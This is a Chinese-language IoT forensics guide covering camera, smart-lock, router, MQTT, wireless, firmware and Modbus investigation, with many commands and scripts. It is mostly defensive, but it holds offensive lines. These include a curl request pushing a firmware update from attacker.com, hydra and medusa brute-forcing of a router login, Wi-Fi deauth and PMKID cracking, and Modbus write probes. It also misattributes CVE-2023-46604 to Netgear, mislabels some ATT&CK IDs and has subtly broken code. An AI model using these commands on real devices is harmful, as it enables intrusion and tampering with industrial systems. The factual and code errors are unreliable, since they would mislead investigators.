物联网(IoT)取证深度分析 物联网(IoT)取证深度分析 根据 McKinsey 2025 年报告,全球 IoT 设备数量已突破 300 亿台,涵盖智能家居、工业控制、医疗健康、智慧城市等领域。IoT 设备的爆发式增长带来了全新的安全威胁——从 Mirai 僵尸网络到 Verkada 摄像头入侵事件,IoT 安全事件频发且影响深远。
传统数字取证方法在面对 IoT 设备时存在显著局限:设备资源受限、操作系统异构、通信协议多样、固件更新频繁。本文系统性地覆盖 IoT 取证分析的全链路方法论,涵盖设备分类、协议分析、固件逆向、恶意软件检测、自动化狩猎等核心领域,为安全研究人员提供完整的 IoT 取证实战指南。
0x01 技术基础与 IoT 取证概述 IoT 设备分类与攻击面 IoT 设备按应用场景可划分为三大类,每类设备的攻击面和取证重点差异显著:
设备类别 典型设备 主要攻击面 取证难度 数据持久性 消费级 智能音箱、IP 摄像头、智能门锁、路由器 默认凭据、固件漏洞、UPnP 暴露 中等 低(易失性存储) 工业级 PLC、SCADA 系统、工业网关、传感器 协议注入、固件后门、供应链攻击 高 中(Flash 存储) 医疗级 心脏起搏器、输液泵、监护仪 协议篡改、固件替换、无线干扰 极高 中高(合规存储)
不同类别设备的攻击面存在本质差异。消费级设备主要面临网络层面的攻击——开放端口、默认凭据、未加密通信;工业级设备则涉及协议层面的威胁——Modbus 注入、OPC UA 证书伪造、PLC 固件篡改;医疗级设备的安全问题更为复杂,涉及人身安全,取证需要同时考虑技术证据和合规要求。
IoT 架构分层及各层取证重点 IoT 系统采用四层架构模型,每一层都产生特定类型的数字证据:
架构层 组件 产生的证据类型 取证工具 MITRE ATT&CK 映射 感知层 传感器、执行器、摄像头 设备日志、传感器数据、音频/视频 JTAG 调试器、Flash Dump 工具 T1521 IoT Discovery 网关层 IoT 网关、路由器、交换机 网络流量、ARP 表、DNS 缓存 Wireshark、tcpdump、Zeek T1583.005 IoT Infrastructure 平台层 云平台、MQTT Broker、数据库 API 日志、设备注册信息、消息记录 MQTT Explorer、云平台控制台 T1567 Exfiltration Over Web Service 应用层 移动 App、Web 控制台、仪表盘 用户操作日志、配置数据、推送记录 Burp Suite、Frida T1552.001 Credentials in Files
各层之间存在证据传递关系。攻击者从应用层获取凭据后,可能通过网关层下发恶意指令到感知层,或从感知层窃取数据经平台层外传。取证分析需要跨层关联,才能还原完整攻击链。
IoT 取证与传统数字取证的差异 IoT 取证面临三大核心挑战:
资源受限 :多数 IoT 设备仅有数十 KB 的 RAM 和几 MB 的 Flash 存储,无法运行传统的取证工具。取证过程需要在外部设备上进行,或使用轻量级取证方法。
异构系统 :不同厂商的 IoT 设备使用不同的操作系统(Linux、RTOS、Zephyr、FreeRTOS)、不同的处理器架构(ARM、MIPS、RISC-V)、不同的文件系统(SquashFS、UBIFS、JFFS2),取证工具和方法难以统一。
实时性要求 :许多 IoT 设备采用易失性存储或循环覆盖日志,设备断电后关键证据可能永久丢失。取证采集必须在设备运行状态下进行,需要使用在线取证技术。
对比维度 传统数字取证 IoT 取证 取证对象 PC、服务器、移动设备 传感器、网关、嵌入式设备 操作系统 Windows、Linux、macOS Linux/RTOS/Zephyr/裸机 存储介质 HDD、SSD、eMMC Flash、EEPROM、SD 卡 日志系统 syslog、Event Log、Journald 设备专有日志、串口输出 取证工具 EnCase、FTK、Volatility Binwalk、FACT、JTAG 工具 时间基准 NTP 同步、RTC 时钟 设备时钟(可能不同步) 网络协议 TCP/IP、HTTP、DNS MQTT、CoAP、BLE、Zigbee 取证窗口 较长(磁盘持久存储) 较短(Flash 循环覆盖)
IoT 取证工具链 IoT 取证需要一套专门的工具链来覆盖从固件提取到协议分析的完整流程:
工具名称 功能分类 用途说明 开源/商业 Binwalk 固件分析 固件签名扫描、文件系统提取、熵分析 开源 FACT 固件分析 自动化固件分析平台、漏洞检测 开源 Firmwalker 固件分析 固件文件系统搜索敏感信息 开源 Firmware Analysis Toolkit (FAT) 固件分析 自动化固件提取与 QEMU 仿真 开源 Shodan 资产发现 IoT 设备互联网暴露面搜索 商业 Wireshark 流量分析 网络协议解码、IoT 协议 dissectors 开源 MQTT Explorer 协议分析 MQTT 消息订阅/发布调试 开源 nRF Connect BLE 分析 蓝牙 BLE 广播嗅探、GATT 分析 免费 Ubertooth BLE 分析 蓝牙 2.4GHz 射频分析 开源硬件 KillerBee Zigbee 分析 Zigbee 协议嗅探与注入 开源 Bus Pirate 硬件调试 UART/SPI/I2C 接口通信 开源硬件 J-Link 硬件调试 ARM JTAG/SWD 调试与 Flash Dump 商业 Radare2 逆向分析 嵌入式二进制逆向 开源 QEMU 固件仿真 固件动态分析与调试 开源
sudo apt install binwalk firmware-mod-kit john hashcat
pip install fact-firmware-analysis-toolkit 0x02 智能家居设备取证 IP 摄像头/DVR/NVR 取证 IP 摄像头是 IoT 取证中最常见的设备类型之一。取证重点包括 RTSP/ONVIF 协议分析、存储卡数据恢复和日志提取。
ONVIF 设备发现与枚举 :
onvif-probe-d -h
onvif-probe-d --addr 192.168.1.0/24 --timeout 5s 使用 ONVIF WSDL 接口获取设备信息:
import zeep
wsdl = "http://192.168.1.100/onvif/device_service?wsdl"
client = zeep. Client(wsdl= wsdl)
device_info = client. service. GetDeviceInformation()
print(f "Manufacturer: { device_info. Manufacturer} " )
print(f "Model: { device_info. Model} " )
print(f "FirmwareVersion: { device_info. FirmwareVersion} " )
print(f "SerialNumber: { device_info. SerialNumber} " )
media_client = zeep. Client(wsdl= "http://192.168.1.100/onvif/media_service?wsdl" )
profiles = client. service. GetProfiles()
for p in profiles:
print(f "Profile: { p. Name} , Token: { p. token} " )
streams = client. service. GetStreamUri({
'Stream' : 'RTP-Unicast' ,
'Protocol' : 'RTSP'
})
print(f "RTSP URI: { streams. Uri} " ) RTSP 流抓包取证 :
tcpdump -i eth0 -w camera_rtsp.pcap port 554 &
ffmpeg -rtsp_transport tcp -i "rtsp://admin:admin@192.168.1.100:554/stream1" -t 300 -c copy capture.mp4 存储卡数据恢复 :
dd if = /dev/sdb of= camera_sd.img bs= 4M
photorec camera_sd.img
testdisk camera_sd.img 取证目标 证据来源 工具 取证步骤 视频录像 SD 卡 / FTP 服务器 photorec, ffmpeg 提取已删除视频片段、分析编码格式 设备配置 Web 管理界面 curl, Burp Suite 导出配置文件、检查管理员凭据 连接日志 设备系统日志 Telnet/SSH, serial 提取访问日志、分析连接来源 固件版本 ONVIF 接口 onvif-probe-d 识别固件版本、匹配已知漏洞 网络配置 ARP 表、DHCP 日志 tcpdump, Wireshark 还原网络拓扑、定位通信对端
智能音箱取证 智能音箱(如 Amazon Echo、Google Home、小爱同学)记录了大量的用户交互数据,是家庭 IoT 取证的重要来源。
语音指令日志提取 :
通过 Alexa App 或 Google Home App 的账号数据导出功能,可以获取完整的语音指令历史:
curl -H "Authorization: Bearer $TOKEN" \
"https://api.amazonalexa.com/v1/devices/ $DEVICE_ID/conversations" \
-o alexa_history.json
python3 -c "
import json
data = json.load(open('alexa_history.json'))
for conv in data['conversations']:
for utterance in conv['utterances']:
print(f'[{utterance[\"creationTimestamp\"]}] {utterance[\"text\"]}')
" WiFi 连接记录分析 :
strings /dev/sda1 | grep -E "(SSID|WPA|PSK|EAP)" | sort -u
cat /var/lib/dhcp/dhclient.leases 2>/dev/null 蓝牙配对信息提取 :
bluetoothctl paired-devices
cat /var/lib/bluetooth/*/*/info 智能门锁取证 智能门锁涉及物理安全和网络安全双重属性,取证需要关注开锁记录、管理员后门检测和 RF 重放攻击痕迹。
开锁记录分析 :
sqlite3 doorlock.db "SELECT * FROM unlock_log ORDER BY timestamp DESC LIMIT 50;"
cat /var/log/doorlock.log | grep -E "(unlock|lock|failed|tamper)" 管理员后门检测 :
strings /dev/mtdblock3 | grep -E "(backdoor|master|override|admin)"
strings /dev/mtdblock3 | grep -E "(telnetd|dropbear|sshd)" RF 重放攻击痕迹分析 :
from rtl_sdr import RtlSdr
import numpy as np
sdr = RtlSdr()
sdr. sample_rate = 2.4e6
sdr. center_freq = 433.92e6
sdr. gain = 40
samples = sdr. read_samples(2.4e6 * 10 )
signal = np. abs(samples)
threshold = np. mean(signal) * 2.5
pulses = signal > threshold
edges = np. diff(pulses. astype(int))
starts = np. where(edges == 1 )[0 ]
ends = np. where(edges == - 1 )[0 ]
for i in range(min(len(starts), len(ends))):
duration = ends[i] - starts[i]
gap = starts[i] - ends[i- 1 ] if i > 0 else 0
print(f "Pulse: { duration: .0f } samples, Gap: { gap: .0f } samples" ) 门锁类型 取证重点 证据存储位置 取证方法 指纹锁 指纹模板、开锁记录 eMMC/Flash Flash Dump + 文件系统解析 密码锁 密码修改日志、管理员后门 EEPROM 芯片读取 + 二进制分析 蓝牙锁 BLE 配对记录、通信日志 Flash + BLE 广播 nRF Connect 嗅探 + 固件分析 Zigbee 锁 网络密钥、设备绑定 Flash KillerBee 嗅探 + 固件提取 WiFi 锁 配置信息、云端通信 Flash + 路由器日志 网络抓包 + 云端日志获取
智能路由器/NAS 取证 智能路由器和 NAS 设备作为家庭网络的核心节点,记录了大量网络活动信息。
UPnP 暴露检测 :
nmap -sU -p 1900 --script= upnp-info 192.168.1.1
echo -e 'M-SEARCH * HTTP/1.1\r\nHOST:239.255.255.250:1900\r\nST:upnp:rootdevice\r\nMX:3\r\n\r\n' | socat - UDP4-DATAGRAM:239.255.255.250:1900 DNS 劫持检测 :
dig @192.168.1.1 google.com +short
dig @8.8.8.8 google.com +short
nslookup -type= TXT default.example.com 192.168.1.1 默认凭据检查 :
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.1 http-form-post "/login:username=^USER^&password=^PASS^:Login Failed"
medusa -h 192.168.1.1 -u admin -P passwords.txt -M http 路由器类型 常见默认凭据 漏洞类型 取证方法 TP-Link admin/admin CVE-2023-1389 命令注入 Web 日志 + 固件提取 Netgear admin/password CVE-2023-46604 远程代码执行 固件分析 + 串口日志 D-Link admin/(空) CVE-2024-33112 身份验证绕过 流量分析 + 配置提取 小米路由器 admin/admin 未授权 API 访问 云端日志 + API 测试
0x03 IoT 网关与通信协议取证 MQTT 协议取证 MQTT(Message Queuing Telemetry Transport)是 IoT 领域最广泛使用的轻量级消息协议。取证重点包括 Broker 日志分析、Topic 订阅/发布模式分析和 QoS 异常检测。
MQTT Broker 日志分析 :
tcpdump -i eth0 -w mqtt_traffic.pcap port 1883
mosquitto_sub -h 192.168.1.100 -t '#' -v -C 1000 > mqtt_dump.log
grep -E "(CONNECT|PUBLISH|SUBSCRIBE|DISCONNECT)" mqtt_dump.log MQTT Topic 异常检测 :
import paho.mqtt.client as mqtt
import json
from datetime import datetime
suspicious_topics = []
device_registry = {}
def on_connect (client, userdata, flags, rc):
client. subscribe("#" )
def on_message (client, userdata, msg):
timestamp = datetime. now(). isoformat()
topic = msg. topic
payload = msg. payload. decode('utf-8' , errors= 'ignore' )
parts = topic. split('/' )
if len(parts) >= 2 :
device_id = parts[1 ]
if device_id not in device_registry:
device_registry[device_id] = set()
device_registry[device_id]. add(topic)
if any(kw in topic. lower() for kw in ['admin' , 'root' , 'system' , 'debug' , 'shell' ]):
suspicious_topics. append({
'timestamp' : timestamp,
'topic' : topic,
'payload' : payload[:200 ],
'reason' : '敏感关键词匹配'
})
if len(payload) > 10000 :
suspicious_topics. append({
'timestamp' : timestamp,
'topic' : topic,
'payload_size' : len(payload),
'reason' : '异常大消息体'
})
try :
data = json. loads(payload)
if 'password' in data or 'token' in data or 'key' in data:
suspicious_topics. append({
'timestamp' : timestamp,
'topic' : topic,
'reason' : '明文凭据传输'
})
except json. JSONDecodeError:
pass
client = mqtt. Client()
client. on_connect = on_connect
client. on_message = on_message
client. connect("192.168.1.100" , 1883 , 60 )
client. loop_forever() MQTT 安全配置审计 :
import ssl
import socket
def check_mqtt_anonymous (host, port):
sock = socket. create_connection((host, port), timeout= 10 )
connect_packet = bytes([
0x10 ,
0x0D ,
0x00 , 0x04 , 0x4D , 0x51 , 0x54 , 0x54 ,
0x04 ,
0x02 ,
0x00 , 0x3C ,
0x00 , 0x01 , 0x41
])
sock. send(connect_packet)
response = sock. recv(2 )
sock. close()
if response[0 ] == 0x20 and response[1 ] == 0x02 :
return_code = int. from_bytes(response, 'big' ) & 0xFF
return return_code == 0x00
return False MQTT 安全属性 审计检查项 风险等级 取证方法 匿名连接 是否允许无凭据连接 高 连接测试 TLS 加密 是否启用 TLS/SSL 高 流量抓包分析 ACL 控制 是否配置访问控制列表 中 Broker 配置检查 消息加密 Payload 是否加密 高 消息内容分析 遗嘱消息 是否配置 Last Will 低 协议分析 QoS 级别 消息可靠性保证 中 流量分析
CoAP 协议取证 CoAP(Constrained Application Protocol)是面向资源受限设备的应用层协议,基于 UDP,常用于 NB-IoT 和 LoRaWAN 场景。
CoAP 资源发现与异常检测 :
coap-client -m get "coap://192.168.1.200/.well-known/core"
coap-client -m get -o coap_response.bin "coap://192.168.1.200/firmware"
tcpdump -i eth0 -w coap_traffic.pcap udp port 5683 CoAP DTLS 握手失败分析 :
from scapy.all import *
def analyze_coap_dtls (pcap_file):
packets = rdpcap(pcap_file)
for pkt in packets:
if pkt. haslayer(UDP) and pkt[UDP]. dport == 5683 :
payload = bytes(pkt[UDP]. payload)
if len(payload) > 0 :
ver_type = payload[0 ] >> 6
msg_type = (payload[0 ] >> 4 ) & 0x03
code = payload[1 ]
if msg_type == 3 :
print(f "RST message from { pkt[IP]. src} , code= { code} " )
if code == 0x83 :
print(f "DTLS handshake alert from { pkt[IP]. src} " ) AMQP/STOMP 协议取证 AMQP 和 STOMP 是企业级 IoT 平台常用的消息协议,常见于工业 IoT 场景。
AMQP 消息队列滥用检测 :
tcpdump -i eth0 -w amqp_traffic.pcap port 5672
tshark -r amqp_traffic.pcap -Y "amqp" -T fields -e amqp.method -e amqp.queue -e amqp.exchange STOMP 协议审计 :
stompclap 192.168.1.100 61613 admin admin -S
echo -e "CONNECT\naccept-version:1.2\n\n\x00" | nc 192.168.1.100 61613 HTTP/REST API 取证 IoT 设备的 HTTP/REST API 是最常见的攻击面之一,包括固件更新接口暴露和设备管理 API 未授权访问。
固件更新接口检测 :
gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x bin,fw,update,upgrade
ffuf -u http://192.168.1.100/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .bin,.tar.gz,.zip 设备管理 API 未授权测试 :
curl -v http://192.168.1.100/api/v1/device/info
curl -v -X POST http://192.168.1.100/api/v1/firmware/update -d '{"url":"http://attacker.com/firmware.bin"}'
curl -v http://192.168.1.100/api/v1/config/export API 端点 测试方法 预期响应(安全) 风险等级 /api/v1/device/info GET 401 Unauthorized 中 /api/v1/firmware/update POST 403 Forbidden 高 /api/v1/config/export GET 401 + 数据加密 高 /api/v1/debug/shell GET/POST 404 Not Found 极高 /api/v1/logs GET 401 + 日志脱敏 中
0x04 无线协议取证 蓝牙/BLE 取证 BLE(Bluetooth Low Energy)广泛应用于 IoT 设备的近场通信。取证重点包括 BLE 广播嗅探、GATT Profile 分析和蓝牙配对攻击痕迹检测。
BLE 广播嗅探 :
sudo hciconfig hci0 up
sudo hcitool lescan --duplicate
sudo btlejack -f 37 -c 使用 Ubertooth 进行 BLE 射频分析:
ubertooth-btle -f
ubertooth-rx GATT Profile 分析 :
from bluepy.btle import Scanner, DefaultDelegate
class ScanDelegate (DefaultDelegate):
def handleDiscovery (self, dev, isNewDev, isNewData):
if isNewDev:
print(f "Device: { dev. addr} , RSSI: { dev. rssi} , Name: { dev. scanData. get(9 , 'Unknown' )} " )
for (adtype, desc, value) in dev. getScanData():
print(f " { desc} = { value} " )
scanner = Scanner(). withDelegate(ScanDelegate())
devices = scanner. scan(10.0 , passive= True )
for dev in devices:
print(f " \n Device: { dev. addr} ( { dev. addrType} ), RSSI: { dev. rssi} dB" )
for (adtype, desc, value) in dev. getScanData():
print(f " [ { adtype} ] { desc} : { value} " ) BLE 配对攻击痕迹检测 :
btmon -w ble_pairing.pcap
hcidump -w ble_pairing.pcap Zigbee 协议取证 Zigbee 协议广泛应用于智能家居设备的组网通信,取证重点包括网络密钥提取、设备伪装检测和 Zigbee 3.0 安全分析。
Zigbee 网络嗅探 :
zbwireshark
zbdump -f 15 -c 100 -w zigbee_capture.pcap
killerbee-zbdump -f 11 -c 500 -w zigbee_dump.pcap
killerbee-zbextract zigbee_dump.pcap > zigbee_frames.txt Zigbee 密钥提取 :
import struct
def parse_zigbee_transport_key (payload):
key_type = payload[0 ]
key = payload[1 :17 ]
source_address = struct. unpack('<Q' , payload[17 :25 ])[0 ]
key_types = {
0x00 : "Standard Network Key" ,
0x01 : "Standard Pre-configured Link Key" ,
0x02 : "App Master Key" ,
0x03 : "App Link Key" ,
0x04 : "TC Master Key"
}
return {
'type' : key_types. get(key_type, f "Unknown ( { key_type} )" ),
'key' : key. hex(),
'source' : hex(source_address)
} Zigbee 安全特性 取证检查项 检测方法 MITRE ATT&CK 网络密钥 明文密钥传输 协议嗅探 + 解析 T1557 Adversary-in-the-Middle Trust Center 信任中心认证绕过 密钥请求分析 T1550 Use Alternate Auth APS 加密 应用层加密缺失 流量解密分析 T1040 Network Sniffing 设备入网 未授权设备加入 Join Request 监控 T1200 Hardware Additions 帧计数器 重放攻击检测 帧序列分析 T1541 Pre-OS Boot
Z-Wave 协议取证 Z-Wave 协议的 S2 安全框架是其重要的安全特性,但仍存在绕过可能。
rtl_433 -R 0 -X 'n=Z-Wave,s=450,l=450,g=400,r=1200' -F csv:zwave_capture.csv WiFi 协议取证 WiFi 协议在 IoT 环境中无处不在,取证需要关注 WPA3 降级攻击、PMKID 缓存和 Evil Twin 检测。
WPA3 降级攻击检测 :
airodump-ng wlan0mon --wps
aireplay-ng --deauth 10 -a [ AP_BSSID] wlan0mon PMKID 缓存提取 :
hcxdumptool -i wlan0mon --filterlist_ap= targets.csv --filtermode= 2 -o pmkid_capture.pcapng
hcxpcapngtool -o hashcat_pmkid.txt pmkid_capture.pcapng
hashcat -m 22000 hashcat_pmkid.txt /path/to/wordlist.txt Evil Twin 检测 :
import scapy.all as scapy
def detect_evil_twin (interface, target_ssid, duration= 60 ):
packets = scapy. sniff(iface= interface, timeout= duration,
filter= "type mgt subtype beacon" )
ssids = {}
for pkt in packets:
if pkt. haslayer(scapy. Dot11Beacon):
ssid = pkt[scapy. Dot11Elt]. info. decode('utf-8' , errors= 'ignore' )
bssid = pkt[scapy. Dot11]. addr2
rssi = pkt. dBm_AntSignal if hasattr(pkt, 'dBm_AntSignal' ) else 'N/A'
channel = int(ord(pkt[scapy. Dot11Elt:3 ]. info))
if ssid == target_ssid:
if ssid not in ssids:
ssids[ssid] = []
ssids[ssid]. append({'bssid' : bssid, 'rssi' : rssi, 'channel' : channel})
for ssid, aps in ssids. items():
if len(aps) > 1 :
print(f "[WARNING] SSID ' { ssid} ' has { len(aps)} APs - possible Evil Twin:" )
for ap in aps:
print(f " BSSID: { ap['bssid' ]} , RSSI: { ap['rssi' ]} , Channel: { ap['channel' ]} " ) LoRaWAN 取证 LoRaWAN 是低功耗广域网的核心协议,取证需要关注 OTAA/ABP 入网分析和帧计数器攻击。
LoRaWAN 入网分析 :
rtl_sdr -f 868100000 -s 1000000 -g 40 lora_capture.raw
python3 lora_decode.py lora_capture.raw --freq 868.1 ABP vs OTAA 安全对比 :
入网方式 安全特性 取证关注点 风险等级 OTAA 动态密钥、会话密钥更新 DevEUI/APPEUI 泄露 中 ABP 静态密钥、固定会话密钥 NwkSKey/AppSKey 硬编码 高 Both 帧计数器 FCnt 重置检测 高 Both MIC 校验 消息完整性验证 中
0x05 固件提取与逆向分析取证 固件提取方法 固件提取是 IoT 取证的关键环节,主要有三种方法:Flash Dump、JTAG/UART 调试接口和固件更新包截获。
JTAG 调试接口提取 :
openocd -f interface/jlink.cfg -f target/stm32f1x.cfg
telnet localhost 4444
> flash read_bank 0 firmware_dump.bin
> dump_image firmware_full.bin 0x08000000 0x100000
> mdw 0x08000000 16 UART 串口提取 :
screen /dev/ttyUSB0 115200
minicom -D /dev/ttyUSB0 -b 115200
picocom -b 115200 /dev/ttyUSB0 固件更新包截获 :
mitmproxy -p 8080
tcpdump -i eth0 -w firmware_update.pcap 'host firmware.example.com' 使用 mitmproxy 拦截固件更新请求:
from mitmproxy import http
import hashlib
def response (flow: http. HTTPFlow):
content_type = flow. response. headers. get("content-type" , "" )
if "binary" in content_type or "octet-stream" in content_type:
firmware_data = flow. response. content
md5 = hashlib. md5(firmware_data). hexdigest()
sha256 = hashlib. sha256(firmware_data). hexdigest()
filename = f "firmware_ { md5[:8 ]} .bin"
with open(filename, 'wb' ) as f:
f. write(firmware_data)
print(f "Firmware captured: { filename} " )
print(f "MD5: { md5} " )
print(f "SHA256: { sha256} " )
print(f "Size: { len(firmware_data)} bytes" ) 固件文件系统解析 IoT 固件常用的文件系统类型各有特点,取证方法也不同:
文件系统 特征 挂载命令 取证工具 SquashFS 只读压缩,最常见 mount -t squashfs -o ro,loop firmware.squashfs /mntunsquashfs UBIFS UBI 文件系统,Flash 友好 ubireader_extract_images firmware.ubiubi_reader JFFS2 日志型 Flash 文件系统 mount -t jffs2 -o loop firmware.jffs2 /mntmtd-utils CramFS 压缩只读,较小设备 mount -t cramfs -o ro,loop firmware.cramfs /mntcramfsck YAFFS2 NAND Flash 优化 unyaffs firmware.yaffs2 /mnt/yaffshiv ext4 标准 Linux 文件系统 mount -o ro,loop firmware.ext4 /mntstandard tools
Binwalk 固件分析实战 Binwalk 是固件分析的核心工具,支持签名扫描、熵分析和文件系统解压。
签名扫描 :
binwalk firmware.bin
binwalk -A firmware.bin
binwalk -R '\x89PNG' firmware.bin
binwalk -t firmware.bin 熵分析检测加密/压缩 :
文件系统提取与验证 :
binwalk -eM firmware.bin
cd _firmware.bin.extracted
ls -la squashfs-root/
cat squashfs-root/etc/version
strings squashfs-root/usr/bin/app | head -20
find squashfs-root -name "*.conf" -exec grep -l "password" {} \;
find squashfs-root -name "shadow" -o -name "passwd" 固件硬编码凭据提取 :
import subprocess
import re
import os
def extract_firmware_credentials (extracted_dir):
credentials = []
shadow_files = subprocess. run(
['find' , extracted_dir, '-name' , 'shadow' , '-o' , '-name' , 'passwd' ],
capture_output= True , text= True
). stdout. strip(). split(' \n ' )
for f in shadow_files:
if os. path. isfile(f):
with open(f) as fh:
for line in fh:
parts = line. strip(). split(':' )
if len(parts) >= 2 and parts[1 ] not in ('x' , '*' , '!' , '!!' , '!!:' ):
credentials. append({
'source' : f,
'username' : parts[0 ],
'hash' : parts[1 ],
'type' : 'hardcoded_credential'
})
config_patterns = [
r '(?i)password\s*[=:]\s*[" \' ]?(\S+)' ,
r '(?i)api_key\s*[=:]\s*[" \' ]?(\S+)' ,
r '(?i)secret\s*[=:]\s*[" \' ]?(\S+)' ,
r '(?i)token\s*[=:]\s*[" \' ]?(\S+)' ,
]
result = subprocess. run(
['find' , extracted_dir, '-type' , 'f' ],
capture_output= True , text= True
). stdout. strip(). split(' \n ' )
for filepath in result:
if os. path. isfile(filepath):
try :
with open(filepath, 'rb' ) as fh:
content = fh. read(1024 * 1024 )
text = content. decode('utf-8' , errors= 'ignore' )
for pattern in config_patterns:
matches = re. findall(pattern, text)
for match in matches:
credentials. append({
'source' : filepath,
'pattern' : pattern,
'value' : match ,
'type' : 'config_credential'
})
except Exception :
pass
return credentials 固件分析步骤 命令 输出结果 取证价值 签名扫描 binwalk -A firmware.binCPU 架构、编译器信息 确认设备硬件平台 熵分析 binwalk -E firmware.bin熵值分布图 检测加密/压缩段 文件系统提取 binwalk -eM firmware.binsquashfs-root/ 完整文件系统 字符串提取 strings bin > strings.txt硬编码字符串 凭据、URL、密钥 配置文件分析 find . -name "*.conf"配置文件列表 设备配置、安全设置 二进制分析 r2 -A bin函数列表、调用关系 后门检测、漏洞挖掘
FAT 和 FACT 提供固件分析的自动化流水线,大幅提升取证效率。
FAT 自动化分析 :
git clone https://github.com/attify/firmware-analysis-toolkit
cd firmware-analysis-toolkit
sudo ./fat.py firmware.bin FACT 平台部署与使用 :
git clone https://github.com/fkie-cad/FACT_core
cd FACT_core
sudo ./start_allotted.sh Firmwalker 敏感信息搜索 :
git clone https://github.com/craigz28/firmwalker
cd firmwalker
./firmwalker.sh _firmware.bin.extracted/squashfs-root 0x06 工业 IoT 与边缘计算取证 Modbus TCP/RTU 协议取证 Modbus 是工业控制系统中最广泛使用的通信协议,其安全缺陷导致大量工控系统暴露在网络攻击之下。
Modbus TCP 流量分析 :
tcpdump -i eth0 -w modbus_traffic.pcap 'tcp port 502'
tshark -r modbus_traffic.pcap -Y "modbus" -T fields -e modbus.func_code -e modbus.reg -e modbus.data Modbus 功能码异常检测 :
from pymodbus.client import ModbusTcpClient
from pymodbus.exceptions import ModbusIOException
def audit_modbus_device (host, port= 502 ):
client = ModbusTcpClient(host, port= port)
client. connect()
results = {
'host' : host,
'port' : port,
'write_coils_allowed' : False ,
'write_registers_allowed' : False ,
'read_all_coils' : False ,
'read_all_holding' : False ,
'diagnostics_accessible' : False
}
try :
response = client. read_coils(0 , 100 )
if not response. isError():
results['read_all_coils' ] = True
except Exception as e:
pass
try :
response = client. read_holding_registers(0 , 100 )
if not response. isError():
results['read_all_holding' ] = True
except Exception as e:
pass
try :
response = client. write_coil(0 , True )
results['write_coils_allowed' ] = not response. isError()
except Exception as e:
pass
try :
response = client. write_register(0 , 0 )
results['write_registers_allowed' ] = not response. isError()
except Exception as e:
pass
try :
response = client. diag_get_comm_event_counter()
results['diagnostics_accessible' ] = not response. isError()
except Exception as e:
pass
try :
response = client. discover()
results['broadcast_discovery' ] = True
except Exception as e:
results['broadcast_discovery' ] = False
client. close()
return results Modbus 功能码 安全风险 异常检测规则 取证方法 FC01 读线圈 信息泄露 大批量读取 流量监控 FC03 读保持寄存器 配置泄露 跨区域读取 流量分析 FC05 写单线圈 过程控制 非授权写入 日志审计 FC06 写单寄存器 参数篡改 关键参数修改 寄存器快照对比 FC15 写多线圈 批量控制 异常批量写入 会话分析 FC16 写多寄存器 批量篡改 越权参数修改 事务日志 FC08 诊断 信息泄露 设备枚举 协议分析
OPC UA 协议取证 OPC UA(Unified Architecture)是工业 4.0 的核心通信协议,提供内置安全特性但配置不当仍可被利用。
OPC UA 安全策略审计 :
from opcua import Client
def audit_opc_ua_server (url):
client = Client(url)
client. set_security_string(
"Basic256Sha256,SignAndEncrypt,"
"cert.pem,key.pem,server_cert.pem"
)
try :
client. connect()
root = client. get_root_node()
objects = client. get_objects_node()
print("Server Nodes:" )
children = objects. get_children()
for child in children:
print(f " { child. get_browse_name(). Name} " )
policies = client. get_policy_id()
print(f " \n Security Policies: { policies} " )
server_time = client. get_server_timestamp()
print(f "Server Time: { server_time} " )
client. disconnect()
return True
except Exception as e:
print(f "Connection failed: { e} " )
return False 边缘计算节点取证 边缘计算节点(如 AWS Greengrass、Azure IoT Edge)运行容器化工作负载,取证需要关注容器安全和节点日志。
容器化工作负载分析 :
docker ps -a --format "table {{.ID}}\t{{.Image}}\t{{.Status}}\t{{.Ports}}"
docker inspect $CONTAINER_ID | jq '.[0].Config.Env'
docker logs $CONTAINER_ID --since 24h > container_logs.txt Edge 网关日志提取 :
journalctl -u iotedge --since "2 hours ago" > iotedge_logs.txt
iotedge list
iotedge check 物联网平台取证 主流云 IoT 平台产生大量可取证的日志数据。
AWS IoT Core 日志分析 :
aws iot describe-thing --thing-name "target_device"
aws iot get-logging-options
aws logs filter-log-events --log-group-name /aws/iot/events --filter-pattern "ERROR"
aws iot list-topic-rules
aws iot get-topic-rule --rule-name "IoT_Rule" Azure IoT Hub 日志分析 :
az iot hub monitor-events --hub-name hub_name --device-id device_id --timeout 300
az monitor logs query --workspace workspace_id --analytics-query "DeviceConnectionEventLogs | take 100" 云平台 日志类型 取证查询 保留期限 AWS IoT Core 连接日志 CloudWatch Logs Insights 90 天 Azure IoT Hub 设备遥测 Log Analytics KQL 30 天 阿里云 IoT 设备日志 SLS 日志服务 按配置 Google Cloud IoT 事件日志 BigQuery / Cloud Logging 30 天 华为云 IoT 设备管理日志 LTS 日志服务 按配置
0x07 IoT 恶意软件与僵尸网络取证 Mirai 变种家族分析 Mirai 是影响最深远的 IoT 僵尸网络之一,其源码泄露后催生了大量变种。取证分析需要理解其 Telnet 扫描机制、默认凭据字典和 Payload 加密变种。
Mirai 感染特征检测 :
grep -r "POST /cdn-cgi/" /var/log/ | head -20
grep -E "(acker|mirai|botnet)" /tmp/*
ps aux | grep -E "(busybox|curl|wget|tftp)"
netstat -an | grep -E ":(23|2323)" | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -rn Mirai 默认凭据字典分析 :
import re
from collections import Counter
MIRAI_CREDENTIALS = {
"root" : ["root" , "root123" , "admin" , "password" , "default" , "123456" , "toor" , "admin123" ],
"admin" : ["admin" , "password" , "1234" , "admin1234" , "root" , "pass" , "test" ],
"support" : ["support" , "support123" , "password" ],
"user" : ["user" , "user123" , "password" , "admin" ],
"guest" : ["guest" , "guest123" , "password" ],
"default" : ["default" , "password" , "admin" ],
"test" : ["test" , "test123" , "password" ],
"ubnt" : ["ubnt" , "ubnt" , "admin" ],
}
def analyze_telnet_traffic (pcap_file):
from scapy.all import rdpcap, TCP, Raw
packets = rdpcap(pcap_file)
login_attempts = []
for pkt in packets:
if pkt. haslayer(Raw) and pkt. haslayer(TCP):
payload = bytes(pkt[Raw]. load)
try :
text = payload. decode('utf-8' , errors= 'ignore' )
if 'login' in text. lower() or 'password' in text. lower():
login_attempts. append({
'src' : pkt[TCP]. sport,
'dst' : pkt[TCP]. dport,
'text' : text. strip(),
'time' : float(pkt. time)
})
except Exception :
pass
